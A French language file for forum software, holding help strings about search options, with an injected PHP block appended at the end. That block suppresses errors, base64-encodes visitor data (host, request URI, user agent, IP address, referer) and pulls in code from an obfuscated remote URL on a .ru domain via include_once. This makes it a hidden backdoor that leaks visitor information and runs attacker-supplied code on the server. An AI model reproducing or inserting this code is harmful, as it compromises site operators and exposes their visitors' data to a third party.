$txt['manual_searching_results_as_messages'] = '<strong>Montrer les r&eacute;sultats comme des messages</strong> retourne le message complet contenant l\'entr&eacute;e recherch&eacute;e (avec une option de r&eacute;ponse) plut&ocirc;t que le r&eacute;sultat habituel. Il en r&eacute;sultera &eacute;videmment plus de pages de r&eacute;sultats, crit&egrave;re qui peut &ecirc;tre significatif lorsque vous cherchez un mot ou une phrase fr&eacute;quemment utilis&eacute;s.';
$txt['manual_searching_message_age'] = '<strong>Age du Message</strong> sp&eacute;cifie l\'&acirc;ge minimal et maximal des r&eacute;sultats &agrave; afficher.';
$txt['manual_searching_which_board'] = '<strong>Choisir une section o&ugrave; rechercher</strong> vous permet de cerner encore mieux les r&eacute;sultats pertinents selon la ou les sections &agrave; scruter, avec la recherche dans \'toutes\' les sections par d&eacute;faut  (le forum en entier, ou plus pr&eacute;cis&eacute;ment toutes les sections qui vous sont accessibles en lecture).';
$txt['manual_searching_search_button'] = 'Le bouton <strong>Recherche</strong> lance sans surprise la recherche de l\'entr&eacute;e pr&eacute;cis&eacute;e sur le forum. Cliquer sur le bouton \'Entr&eacute;e\' ou \'Enter\' de votre clavier est peut-&ecirc;tre une fa&ccedil;on encore plus rapide de commencer la recherche.';

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>